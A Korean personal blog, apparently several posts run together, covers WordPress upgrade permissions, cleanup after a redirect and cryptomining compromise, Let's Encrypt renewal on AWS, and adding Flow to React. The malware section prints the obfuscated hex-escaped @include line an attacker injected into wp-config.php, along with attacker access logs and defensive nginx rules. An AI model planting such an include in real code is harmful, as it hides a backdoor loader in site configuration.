워드프레스 업그레이드 관련 정리

해커들의 채굴 공격에 한바탕 홍역을 치른 뒤에 워드프레스 관리에 좀더 신경을 쓰고 있다. 그동안 내가 고생했던 이야기는 아래 링크를 참고하자.

아무튼 이런 저런 일들을 겪으면서 발생한 문제를 해결하다보니 이번에는 그동안 잘 되던 자동 업그레이드가 안되는 문제가 생겼다.

그동안 몰랐던 자동 업그레이드의 실체

자동 업그레이드는 2가지 기능을 한다. 중요한 패치버전을 자동으로 설치하는 기능과 사이트에서 손쉽게 원하는 플러그인과 테마를 클릭 한방에 설치해주는 기능이다. 특히 두번째 기능은 수동으로 파일을 업로드하는 수고로움과 귀차니즘을 줄여준다. 그리고 이 자동 업그레이드는 아마도 워드프레스 3.2 부터인가 자동으로 적용됐다. 지금은 4.9.5 버전이니까 한참 옛날일이다.

아무튼 내가 10년전 수동으로 모든 플러그인과 설치버전을 관리하다가 3.2 버전으로 넘어오면서 이런 편리함에 다른 블로그 툴로 못 넘어가고 워드프레스에 정착을 했던것 같다. 아무튼 그동안 잘 되던 원클릭 업그레이드가 이제 더이상 안되는 문제가 생겼다! 뚜둥!!

갑자기 FTP 권한이 틀렸다고 다시 입력 하랜다. 내가 ftp 데몬을 내렸나 싶어서 vsftp 데몬을 설치하고 잘되는것도 확인했는데, 여전히 같은 문제가 반복됐다. 원인을 도저히 못 찾다가 우연히 FTP를 우회하는 방법을 찾았다.

그냥 wp-config.php에 다음 한줄을 추가하면 FTP 설정 없이도 업그레이드가 된다.

define('FS_METHOD', 'direct');

즉, 이 말은 PHP가 직접 파일을 읽어다가 내 서버에 쓴다는 얘긴데, php가 파일이나 폴더를 생성 하려면 권한이 필요하다. php 는 당연히 nginx 위에서 동작하기 때문에 nginx 그룹 권한에 쓰기 권한도 넣어줘야한다.

아마 갑자기 원클릭 업그레이드가 안된 이유도 사실은 폴더권한을 775에서 755로 대폭 축소해서 나타난 문제였을 것이다.

업그레이드와 관련된 폴더

워드프레스 버전을 업그레이드 하려면 아래 폴더에 권한을 일단 775 이상으로 올려줘야한다.

  • wp-admin
  • wp-includes

그리고 플러그인이나 테마를 업그레이드 하려면 wp-content 폴더의 권한도 올려줘야한다. 업그레이드가 끝나면 올려줬던 폴더의 권한은 다시 낮추는걸 추천한다.

페이스북을 타고 들어오면 리다이렉션 되던 문제

해커와의 전쟁

몇일째 채굴 공격을 막느라 정신이 없었다. 이번을 개기로 서버보안에 좀더 신경을 쓰게 된 개기가 된것 같다. 아무튼 내 블로그 곳곳엔 여전히 헛점이 있다. 11년전 서버에 대한 지식이 전무한 상태에서 워드프레스를 설치한게 화근이지싶다. 그땐 이거저거 해보겠다고 퍼미션도 777인 곳이 많았고 766도 많았다.

발단의 원인

일단 퍼미션이 엉망이었다는 것이 재앙인데 퍼미션이 엉망이기 때문에 해커들이 맘대로 내 서버에 파일도 올리고 실행도 시키고,..미안하다..ㅜㅜ
아무튼 해커와의 전쟁을 선포하고 워드프레스 폴더 곳곳을 find 명령으로 뒤져가며 php 파일명이 이상한 형태가 있는지 전부 찾아서 지웠다.

어떤 이상한 파일들이 있었는지는 지난 글을 참고하자.

여전히 풀리지 않는 리다이렉션 문제

이제 남은 건 페이스북에 링크된 글이 이상한 사이트로 넘어가는 문제만 남았다. 나도 몇번 겪어봤고 이상하다 싶었는데 그사이 신고도 3건이나 접수됐다. 그래서 제대로 잡아보자 싶어서 한번만 더 걸려라! 하는 심정으로 기다렸다. 그리고 드디어 잡았다!! 올타커니!!!

먼저 문제가 발생한 시간의 액세스 로그를 뒤졌다.

[27/Dec/2017:14:51:09 +0000] 200 211.243.39.14 http://m.facebook.com GET 
/archives/2017/12/nginx-%EC%99%80-php-fpm-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EB%85%B8%EB%A6%B0-%EC%B1%84%EA%B5%B4-%EA%B3%B5%EA%B2%A9/ 
HTTP/1.1 407 Mozilla/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) 
Mobile/15C114 [FBAN/FBIOS;FBAV/153.0.0.53.87;FBBV/84268146;FBDV/iPad4,4;FBMD/iPad;FBSN/iOS;FBSV/11.2;FBSS/2;FBCR/;FBID/tablet;FBLC/ko_KR;FBOP/5;FBRV/0]

로그에 찍힌 이상한 에이전트는 검색을 통해 페이스북 앱임을 확인했고, 액세스 로그에 레퍼러(referer)가 제대로 찍힌걸 봐서는 링크는 제대로 타고 들어왔다. 고로 페이스북 문제는 아니다. 이제 문제는 내 서버에 설치된 워드프레스다. 분명 워드프레스가 리다이렉션 시키는 것 같다. 어떻게 그게 가능한지는 모르겠지만,.. 파일 업로드도 지맘대로 하는 판에 기존 파일을 수정하지 말라는 법도 없지 않나?

리다이렉션 말웨어(스파이웨어)

검색을 좀 해봤다.

https://fixmywp.com/blog/detect-clean-wordpress-malware-redirect.php

그랬더니 역시 있다! 나와 비슷한 증상을 겪는 문제가 워드프레스에서 심상치않게 발견되고 있나보다.

If a file is added, it’s often named to look like a legitimate file like that’s the part of WordPress core files. The file could be named sunrise.php, wp-users.php, wp-system or wp-configuration.php or something similar.

위에 나열된 파일은 다행이 없었다. 그리고 이제 남은건 아래 파일들… 모두 찾아봤다.

Typically hackers add the malicious scripts to .htaccess, wp-includes, wp-content/themes, wp-content/plugins or wp-content/uploads folders, or may also change your wp-config.php file.

그런데 뚜둥~!! wp-config.php 파일이 변조되어 있다!! 대박!! 이게 정말 가능한거구나… 놀랍다.

<?php
/*1008f*/

@include "\x2fva\x72/w\x77w/\x6egi\x6ex_\x72oo\x74/w\x70/w\x70-c\x6fnt\x65nt\x2fca\x63he\x2ffa\x76ic\x6fn_\x63ec\x652c\x2eic\x6f";

/*1008f*/^M

일단 변조된 부분을 지우고 다시 페북으로 링크를 걸어봐야겠다. 과연….

테스트 결과 성공적!

일단 몇번을 테스트해봤지만 문제는 없는것 같다. 그리고 검색에서 찾은 사이트에서 소개한 스파이웨어 스캔 사이트(https://quttera.com/)로 돌려봤더니… 7개 파일에서 의심스러운 코드가 발견됐다는 보고서를 받았는데, 다행히 내가 먼저 발견해서 지웠다!! wp-config.php 파일에 붙어서 여러 링크에 들어간것 같다.
아무튼 다행이야!! 이런게 하나 또 배운다!!

nginx 와 php-fpm 취약점을 노린 채굴 공격

홈페이지가 또 죽었다. 지난번 포스트에서 해결된줄 알았는데 이번에는 다른 문제였다. 그동안 무엇이 문제인지 갈피를 잡지 못했다가 이제야 찾았다!!

채굴 스크립트가 동작할때 nginx 권한으로 자꾸 실행 되길래 어떻게 이게 가능할까 싶었는데, nginx location 매칭의 취약점을 이용한 일반적인 공격이었다. 예를 들면 이런거다. /uploads/악성코드/아무거나.php 위치에 파일이 하나 업로드되고 이걸 실행하는 거다.

자세한 내용은 아래 링크를 참고 하자. https://phpschool.com/gnuboard4/bbs/board.php?bo_table=tipntech&wr_id=77007&page=#c_77013

사실 uploads 폴더에 php 파일이 어떻게 올라갔는지도 궁금하다. 설마 워드프레스는 POST 요청에 대한 권한 체크를 따로 하지 않는건가? 소스코드를 뜯어보면 알겠지만 귀찮다. -_-;; 올리는건 맘대로하고 일단 업로드 폴더에 올라간 php 파일 실행이나 제대로 막아보자.

업로드 폴더에 올라간 php 파일 접근 제한 걸기

방법은 간단하다. location 매칭할때 uploads 폴더에 php 파일 접근을 거부하면 된다.

# 업로드 폴더에 php 파일은 접근금지
location ~* /(?:uploads|files)/.*.php$ {
    deny all;
    access_log off;
    log_not_found off;
}

로그 디벼보기

일단 문제는 해결했고 그동안 액세스 로그에 어떤 흔적들이 남겨져 있는지 탐정놀이를 해보자. access.log 파일을 열어서 /uploads 패턴매칭을 해봤다.

[04/Nov/2017:15:57:55 +0000] 404 119.59.120.23 http://miconblog.com/wp-content/uploads/2013/01/ysopvvnj.php 
POST /wp-content/uploads/2013/01/ysopvvnj.php 어쩌고 저쩌고 에이전트는 생략...

[04/Nov/2017:16:00:56 +0000] 404 69.195.124.153 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php 
POST /wp-content/uploads/2016/01/rwjplrax.php 어찌고 저찌고 에이전트는 생략...
...
..
.

헐~ 정말 있구나! 한두개가 아니다. -_-;;;
이번엔 정말 저 파일이 저 위치에 있을까 싶어 워드프레스가 설치된 폴더를 검색해봤다.

$> ls -al PATH/wp-content/uploads/2013/01
drwxrwxrw-  2 nginx ec2-user  4096 11월 24 02:14 .
drwxrwxrw- 14 nginx ec2-user  4096 12월  2  2013 ..
-rw-r--r--  1 nginx nginx     9816 11월 17 15:08 xgzeufph.php
-rw-r--r--  1 nginx nginx    11128  9월 25  2013 ysopvvnj.php

와~ 대박! 얘네들 언제 업로드 된건지? 왜 난 몰랐었지? -_-…

혹시나 싶어 생성날짜를 확인해봤는데 하나는 최근에 하나는 정말 2013년에 생성됐구나 -_-… 와.. 무섭다…

$> stat ysopvvnj.php
  File: `ysopvvnj.php'
  Size: 11128       Blocks: 24         IO Block: 4096   일반 파일
Device: ca01h/51713d    Inode: 272150      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  498/   nginx)   Gid: (  498/   nginx)
Access: 2013-09-25 00:18:11.000000000 +0000
Modify: 2013-09-25 00:18:11.000000000 +0000
Change: 2017-10-16 15:16:44.775581538 +0000
 Birth: -

$> stat xgzeufph.php
  File: `xgzeufph.php'
  Size: 9816        Blocks: 24         IO Block: 4096   일반 파일
Device: ca01h/51713d    Inode: 315331      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  498/   nginx)   Gid: (  498/   nginx)
Access: 2017-11-17 15:08:35.000000000 +0000
Modify: 2017-11-17 15:08:35.000000000 +0000
Change: 2017-11-24 02:14:51.177864545 +0000
 Birth: -

uploads 폴더에 php 파일이 있는지 전수 조사를 해봤다.

$> find ./uploads/ | grep php
./uploads/2015/xqqhvjma.php
./uploads/2015/01/fuihfefw.php
./uploads/2013/11/bvwuskgr.php
./uploads/2013/01/xgzeufph.php
./uploads/2013/01/ysopvvnj.php
./uploads/2013/12/jwgfcivx.php

내가 몇개 지운거 빼고도 무려 6개가 더 있었다!! -_-;.. 궁금해서 각 파일을 열어봤더니 더 가관인게 쿠기 정보를 빼가는 스크립트도 있고, 코드 채굴기 처럼 보여지는 어마어마한 해시 블록을 가진 코드도 있었다. 그리고 PHP 전역에 함수를 심어놓는 듯한 백도어 코드도 있었다.

무서운 세상이다. 채굴스크립트의 경우 지난 6월 15일에 생성 됐다가 최근 10월 30일에 코드가 업데이트가 됐다. 가상화폐 난 0.00000001 코인도 없는데 불쌍한 내 서버는 일찍이 내 무지함에 의해 강제 노역을 당해왔구나. ㅜㅜ

어떻게 이런 일이 가능할까?

나도 나름 전공자인데 이렇게 내가 당하는거 보니 정말 수많은 사람들이 지금도 당하고 있을거라 생각이든다. 공격자는 또 어떻게 uploads 폴더를 이용할 생각을 했을까? 똑똑하다는 생각도 들지만 개인이 서버를 운영하려면 정말 많이 알아야겠다는 생각도 든다. 사실 이런 공격을 당하려면 몇가지 조건이 필요하다.

  • 첫번째, 워드프레스를 운영하는 서버일것
  • 두번째, Apache가 아닌 Nginx를 이용할 것
  • 세번째, nginx와 워드프레스 조합에서 발생하는 취약점에 대해 크게 고민을 해본적이 없을 것

특히 세번째가 중요한데 워드프레스를 설치하고 nginx 설정을 할때 uploads 폴더에 접근을 제한해야한다는 가이드라인이 없다는 것이다. 보통 nginx와 php-fpm을 연동하는 문서들은 검색하면 수도 없이 나오지만 워드프레스를 설치해서 쓸경우 uploads 폴더 안에서 php 파일 접근을 제한해야한다는 설명은 그 어디에도 없다. 이게 참 알아도 설명하기가 그렇다.

아무튼 워드프레스를 설치해서 운영하는 사람이라면 혹시 본인의 서버도 강제 노역을 당하고 있는건 아닌지 꼭 확인해보기 바란다.

updated!! 12월 27일 또 공격이 들어왔다.

오랜만에 블로그에 들어가보니 뭔가 좀 늦게 반응하는 느낌이 들어 바로 터미널로 접속해 봤더니.. 역시나 채굴 스크립트가 돌고 있다!! 헉!!! 제대로 막은게 아니었던가? 이번엔 또 어디가 문제인거지? ㅎㅎㅎ 참나.. ㅎㅎㅎ

AWS 클라우드와치에 찍힌 CPU 로그를 보고 채굴 스크립트가 언제 실행됐는지 대략 시간을 파악하고 액세스로그를 디져봤다.

[27/Dec/2017:03:04:57 +0000] 403 40.76.209.29 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ... 
[27/Dec/2017:03:04:59 +0000] 200 79.174.72.152 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...
[27/Dec/2017:03:05:03 +0000] 403 54.247.114.112 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ...
[27/Dec/2017:03:05:34 +0000] 499 95.85.34.184 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...
[27/Dec/2017:03:05:35 +0000] 403 203.146.253.98 http://miconblog.com/wp-content/uploads/2016/01/rwjplrax.php POST /wp-content/uploads/2016/01/rwjplrax.php ...
[27/Dec/2017:03:05:36 +0000] 200 184.168.193.16 http://miconblog.com/wp-admin/css/colors/sunrise/iqxpuniw.php POST /wp-admin/css/colors/sunrise/iqxpuniw.php ...

어라 이건 또 뭐야? 생각지도 못한 패턴이 나왔다!!

/wp-admin/css/colors/sunrise/iqxpuniw.php

아놔.. -*- 어쩌자는건지… 저 위치에 파일이 어떻게 올라갔냐? -_-;;; 갑자기 대책이 안선다… 어드민 테마 파일에도 들어가 있다니… 멘붕이다. 정신차려보자. 일단 이녀석이

-rwxr-xr-x 1 nginx ec2-user 12847 11월 17 15:08 colors-rtl.css
-rwxr-xr-x 1 nginx ec2-user 11189 11월 17 15:08 colors-rtl.min.css
-rwxr-xr-x 1 nginx ec2-user 12849 11월 17 15:08 colors.css
-rwxr-xr-x 1 nginx ec2-user 11191 11월 17 15:08 colors.min.css
-rw-r--r-- 1 nginx ec2-user   166  2월  6  2014 colors.scss
-rw-r--r-- 1 nginx nginx    11488  9월 25  2013 iqxpuniw.php

일단 기존 접근 제한을 좀더 보강하고 내 지켜보겠다!!

 location ~* /(?:uploads|files|css|image|js)/.*.php$ { 
     deny all; 
     access_log off; 
     log_not_found off; 
 }

폴더 권한 정리

그리고 보니 wp-admin 폴더의 파일 권한이 생각보다 많이 열려있었구만..-_-;.. nginx 그룹에 쓰기 권한도 열려있고… 허미.. 그랬었구나.. 내가 잘못했네..ㅜㅜ 루트를 제외한 모든 사용자의 권한을 전부 닫아야겠다. 검색해보니 워드프레스의 모든 폴더권한은 755, 파일은 644로 제한해야한다고 한다. 자세한 내용은 이쪽에서 확인하자.

일단 그동안 열려있던 파일과 폴더 권한을 대폭 축소했다.

$ cd 워드프레스폴더위치/wp
$ find ./ -type d -exec chmod 0755 {} \;
$ find ./ -type f -exec chmod 0644 {} \;

AWS EB에서 Let’s Encrypt 수동으로 갱신하기

Let’s encrypt 라는 녀석을 알고 무료로 HTTPS를 적용한지 벌써 석달이 됐다. 다 좋은데 불편한게 하나 있다면 바로 인증서를 3개월 마다 갱신해야한다는 것이다. 그래서 어떤 분은 3개월짜리 크론잡을 돌리시는 분도 있지만 난 설정을 또 해야하는 귀차니즘도 있고 3개월짜리 크론잡에 확신이 없었다.

AWS 빈스톡(beanstalk) 인스턴스가 언제 내려갈지 장담할 수 없기 때문에 주기를 걸면 왠지 틀어질것 같고, 그렇다고 날짜를 고정한 크론잡을 돌리자니 수동이나 다를바가 없었다. 그럴바엔 그냥 귀차니즘도 덜고 수동으로 갱신하는 방법이 맞겠다 싶었다. 그래서 그 때를 기다린지 3개월! 참 오래도 기다렸다.

갱신하기

빈스톡 설정(.ebextension) 에서 certbot-auto를 설치해서 쓰고 있었기 때문에 갱신할때도 EB 설정에 넣어두고 배포를 다시 해볼까 싶었지만 굳이 배포할것도 없는데 인증서 때문에 배포한다는게 또 귀찮아서 그냥 터미널에서 작업을 먼저 해보기로 했다.

$> cd /var/app/current  // EB 앱에 설치되는 위치 
$> ls -al
... 
drwxr-xr-x   2 nodejs nodejs   4096 10월 30 03:51 bin
-rwxr-xr-x   1 nodejs nodejs  57312 10월  5 09:05 certbot-auto
drwxr-xr-x   4 nodejs nodejs   4096 10월 30 03:51 config
...

썰봇(certbot-auto)이 설치 됐는지 확인은 했고, 인증서 갱신(renew)을 하기전 혹시 모르니까 테스트를 해봤다. 참고로 썰봇은 루트 권한을 요구하기 때문에 반드시 sudo 나 루트 권한을 획득한 후에 명령을 실행한다.

$> sudo ./certbot-auto renew --dry-run

... 중략 ...    
Cert not due for renewal, but simulating renewal for dry run Plugins selected: 
Authenticator standalone, 
Installer None Running pre-hook command: service nginx stop 
Output from service: Stopping nginx: 
Hook command "service nginx stop" returned error code 137    
... 중략 ...

1 renew failure(s), 0 parse failure(s)

하하 이게 뭔가요? 싶었는데 자세히 읽어보면 nginx 문제 인것 같다. 그래서 직접 nginx를 죽여봤다.

$> sudo service nginx stop Stopping nginx: /sbin/service: line 66: 25051 죽었음 env -i PATH="$PATH" TERM="$TERM" "${SERVICEDIR}/${SERVICE}" ${OPTIONS}

$> ps -ef | grep nginx root 25067 1 0 10:10 ? 00:00:00 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf -g daemon off; nginx 25070 25067 0 10:10 ? 00:00:00 nginx: worker process ec2-user 25091 23820 0 10:11 pts/0 00:00:00 grep --color=auto nginx 

어허! 이건 또 뭔가요? 엔진엑스가 죽지 않는다!! 죽여도 죽여도 좀비 처럼 다시 살아난다. 자동 재시작을 멈추기 위해서는 아래와 같은 명령을 이용한다.

$> sudo initctl stop nginx

자 이제 nginx는 멈췄고, 다시 renew –dry-run을 해보니 이제는 문제가 없다. 그럼 –dry-run 옵션을 빼고 갱신을 해보자. 참고로 이 글을 쓰는 시점엔 이미 갱신을 완료해서 로그 캡처를 못했다.

$> sudo ./certbot-auto renew

인증서를 갱신했다면 nginx를 다시 죽지 않는 좀비(?) 모드로 실행해준다.

$> sudo initctl start nginx

제대로 갱신 됐는지 확인하기

인증서 확인을 위해 certificates 명령을 실행해봤다.

$> sudo ./certbot-auto certificates Saving debug log to /var/log/letsencrypt/letsencrypt.log

* * *

Found the following certs: Certificate Name: rlibro.com Domains: rlibro.com Expiry Date: 2018-02-10 02:16:31+00:00 (VALID: 89 days) Certificate Path: /etc/letsencrypt/live/rlibro.com/fullchain.pem

## Private Key Path: /etc/letsencrypt/live/rlibro.com/privkey.pem

이제 89일 남았다! 유후!!

다시 캘린더에 갱신 날짜를 입력해 둬야겠다.

React에 Flow 적용기

타입은 왜 필요한가?

개인적인 경험에서 타입에 대한 필요성을 느끼기 시작한 것은 이뮤터블JS를 쓰기 시작하면서부터다. 이 녀석은 실제로 까보지 않으면 안에 뭐가 들어가 있는지 참 알기 어렵다. 최근 코드 리뷰에서도 “이게 뭐하는 녀석이죠?” 라는 질문을 자주 하는 나를 발견한다. 가령 어떤 함수에 이뮤터블 객체 A 를 인자로 넘겨버리면 저 A 안에 어떤 값이 있는지 알기 어렵다. 그래서 코드를 따라가기를 반복하다 지치면 결국 작성자에게 물어보게 된다. 이럴때마다 타입이 있었으면 하는 생각도 들고 차라리 주석을 꼼꼼히 달아보자고 제안을 해볼까? 하는 생각을 해보기도 하지만 역시.. 후자는 나도 잘 안하기 때문에 결국엔 약간의 강제가 필요하면 좋겠다는 생각을 했다.

Flow와 TypeScript

최근엔 타입스크립트에 대한 주목도와 관심도가 높아지는(?).. 관심도가 높은지는 사실 모르겠고, 그냥 그런 분위기가 있어서 나도 해야하는게 아닐까싶어서 TS 주변을 기웃거렸다. 컨퍼런스도 가고 주변에 TS 좀 한다는 녀석들에게 레퍼랜스를 물어물어서 시작하긴 했는데….

아!!!!!!!!!!!! 빡쳐!!!!
이게 결론이다. TS를 하려면 처음부터 해야지 중간에 잘돌아가는 환경을 뒤엎을려니 쉽지 않다. 결국 기존 react 기반 프로젝트에 ts를 적용하는 건 실패~~

이렇게 또 몇주가 지나고 TS와 씨름에 지쳐갈때쯤 내가 왜 이러고 있나 싶기도하고 그러다가 미워도 다시한번 Flow를 어제부터 다시보기 시작했다. 그런데 너무 간단하다. 헐퀴!! 나 그동안 뭐한거니…-_-;;;

Flow 설치

create-react-app 으로 시작한다면 Flow 환경의 절반은 이미 설정되어 있다. 밥상에 숟가락 얻는 정도다.

1. 먼저 flow-bin 모듈을 설치한다.

$> npm install --save-dev flow-bin  // or yarn add --dev flow-bin`

2. package.json 파일을 열어서 “scripts” 섹션에 "flow": "flow"를 추가한다

  "scripts": {
    "start": "node scripts/start.js",
    "build": "node scripts/build.js",
    "test": "node scripts/test.js --env=jsdom",
    "flow": "flow"       <======= 요기!
  }

3. Flow 환경 설정 파일을 만든다.

아래 명령을 실행하면 루트 폴더에 .flowconfig 파일이 생성된다.

$> npm run flow init
$> npm run flow

.flowconfig 기본 설정

[ignore]  
.*/node_modules

[include]  
./src

[libs]

[options]

4. 외부 라이브러리에 대한 타입 정의를 추가한다.

아래 명령을 실행하면 루트폴더 하위에 /flow-typed 폴더가 생성되면서 외부 라이브러리에 대한 flowType을 찾아준다. 물론 모든 라이브러리를 찾아주는건 아니다.

$> npm install -g flow-typed 
$> cd /path/to/my/project 
$> flow-typed install

5. 타입 체크를 원하는 파일에 // @flow 라는 주석 달기.

Flow 컴파일러는 3번에서 설정한 환경에 따라 파일을 읽게 되는데, 파일 상단 주석에 // @flow 라는 어노테이션을 지정한 파일만 컴파일한다.

6. 인텔리J(WebStorm)에서 Flow Type Checker 적용하기

  1. 일단 인텔리J에 NodeJS 플러그인을 설치하고 Enable 시켜놓자.
  2. Flow Type Checker 모듈을 설치한다. 전역으로 하든 로컬로 하든 알아서 판단하자.

    $> npm install -g flow-bin // global
    $> npm install flow-bin // local

  3. 인텔리J에 Flow를 사용하겠다고 설정한다.

    Cmd+(,) > Languages & Frameworks > JavaScript > choose Flow

  4. 3번에서 Flow executable 필드에 2번에서 설치한 flow-bin 을 지정한다

Flow 적용

Flow를 이용해 타입 체크를 하는 이유를 잘 생각해봐야한다. 진행중인 프로젝트에 어떤 부분을 타입으로 만들어서 점검할지 생각하면서 적용하자. React-Redux 프로젝트에 Flow를 적용한다면 이 문서를 참고하자.

create-react-app with Flow

내가 React로 프로젝트를 시작하는 가장 큰 이유는 아키텍처를 내가 선택할수있기 때문인데, 아키텍처에 집중하기 위해서는 사실 기본기가 튼튼해야한다. 큰 그림을 그리는데 JSX 문법을 몰라 삽질한다거나 한땀한땀 웹팩 구성하느라 시간을 허비하기엔 그 시간이 좀 아깝다. 그런면에서 create-react-app 으로 리액트를 시작할 것을 강력히 추천한다. 이와 같은 이유로 최근엔 TS를 적용한 create-react-app-typescript도 생겼다.

트러블슈팅

Q1. 특정 라인에 대한 에러 체크를 하고 싶지 않아요!

$FlowFixMe 를 이용하세요.

// $FlowFixMe 
import './UserProfile.less';

Q2. flow-typed 를 이용해 외부 라이브러리에 대한 타입을 설치하긴 했는데, immutablejs는 없네요 ㅜㅜ

immutable.js 는 라이브러리 안에 타입을 내장해서 배포하고 있습니다. 일단 .flowconfig 파일을 열어서 [include] 항목에 아래와 같이 추가합니다.

[include]
./src
.*/node_modules/immutable/.*

그런데 이것만 가지고는 충분하지 않습니다. 그래서 누군가 이걸 해결한 타입정의 파일이 있어요. 일단 요 파일을 /flow-typed/ 폴더하위에 immutable_vx.x.x.js 라고 저장해주세요.

참고문서

  1. create-react-app#adding-flow
  2. https://flow.org/en/docs/
  3. https://raw.githubusercontent.com/facebook/immutable-js/master/type-definitions/immutable.js.flow
  4. https://www.jetbrains.com/help/webstorm/2017.1/flow-type-checker.html